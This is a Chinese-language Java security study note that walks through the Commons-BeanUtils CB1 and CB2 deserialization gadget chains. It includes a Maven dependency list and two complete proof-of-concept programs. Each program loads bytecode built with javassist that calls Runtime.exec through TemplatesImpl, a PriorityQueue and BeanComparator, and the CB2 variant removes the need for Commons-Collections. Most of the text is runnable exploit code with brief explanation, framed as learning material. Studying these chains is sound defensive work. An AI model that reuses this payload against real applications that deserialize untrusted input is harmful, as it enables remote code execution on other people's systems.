JavaSec - CB
commons.beanutils
省流,用CB中的 PropertyUtils.getProperty()方法可以调用Bean类任意属性的getter的方法
下一步:看看shiro是怎么个事
CB1
各种JDK的镜像下载 Java 使用8u43 , pom.xml如下
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
</dependencies>
POC
package com.orxiain;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "b");
byte[] code = genPayload("calc");
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(queue,"queue",new Object[]{templates,templates});
setFieldValue(comparator,"property","outputProperties");
serialize(queue);
unserialize("CB1.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}}
分析
来看看CB链1
先认识下 PropertyUtils.getProperty(),它可以运行任意 bean类的任何一个getter方法
如果现在有以下这样的bean
package com.orxiain.test;
public class postModel {
public String date;
public String postname;
public postModel(String name) {
this.postname = name;
} public String getDate() {
return date;
}
public String getPostname() {
System.out.printf(this.postname);
return postname;
}}
我们再创建一个该类的对象,并调用 getProperty方法
public class test {
public static void main(String[] args) throws Exception{
postModel post1 = new postModel("orxiain");
PropertyUtils.getProperty(post1,"postname");
//这里第一个参数是bean的对象,第二个是属性的名字字符串
}}
得到如下结果,说明它调用了 getPostname这个方法
那么CB1主要就是利用了这个方法触发bean类的Get方法实现,什么Get方法可以被我们利用呢?
CC2链所使用的 TemplatesImpl加载恶意字节码就可以
TemplatesImpl#getOutputProperties//就是这里的get
->TemplatesImpl#newTransformer->
TemplatesImpl#**getTransletInstance**->
TemplatesImpl#defineTransletClasses->
TransletClassLoader#defineClass
于是可以构造
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "b");
byte[] code = genPayload("calc");
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
接下来,在 BeanComparator中,其 compare方法触发了 PropertyUtils.getProperty()
它是个比较器,可以放在 PriorityQueue中,也就是cc2链的利用链1的前半段
所以我们先获取到 BeanComparator的一个对象
BeanComparator comparator = new BeanComparator();
新建一个 PriorityQueue的对象,并输入我们获取的比较器和数量
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
先随便添加两个数据
queue.add(1);
queue.add(2);
之后通过反射修改1,2为构造好的templates
setFieldValue(queue,"queue",new Object[]{templates,templates});
setFieldValue(comparator,"property","outputProperties");
//方法
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
这样就将queue构造好的,之后对其反序列化即可
CB2
CB2的出现是为了绕过CB1对于CC组件的依赖,在第一次复现CB1时,就是因为缺失了CC导致了运行错误
在CB1的 BeanComparator comparator = new BeanComparator();中,因为没有指定比较器,
所以默认调用了CC组件的 ComparableComparator.getInstance()

为了在不存在CC组件的环境下利用CB链,我们需要找见一个继承了比较器和序列化接口的类,在参数中调用它的比较器 这样的类有很多:
链1
AttrCompare满足了这个条件:
修改 beancomparator类的声明方式:
BeanComparator comparator = new BeanComparator(null,new AttrCompare());
在 pom.xml中去除CC依赖之后依然可以RCE

POC
package com.orxiain;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "b");
byte[] code = genPayload("firefox");
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2);//这里先不传入构造函数参数的比较器
setFieldValue(queue, "size", 2);
setFieldValue(queue, "comparator", comparator);
Object[] list = new Object[]{templates, 1};
setFieldValue(queue, "queue", list);
setFieldValue(comparator,"property","outputProperties");
//保证property属性不为空,让beancompare成功运行到PropertyUtils.getProperty()调用get方法
serialize(queue);
unserialize("CB2.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
public static byte[] genPayload(String cmd) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
}
链2
也可以使用:
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
在上面的poc中直接替换即可
Links
https://okaytc.github.io/posts/638f8ee9.html#0x04%E3%80%81CB2%E5%88%86%E6%9E%90 https://www.cnblogs.com/zpchcbd/p/14957034.html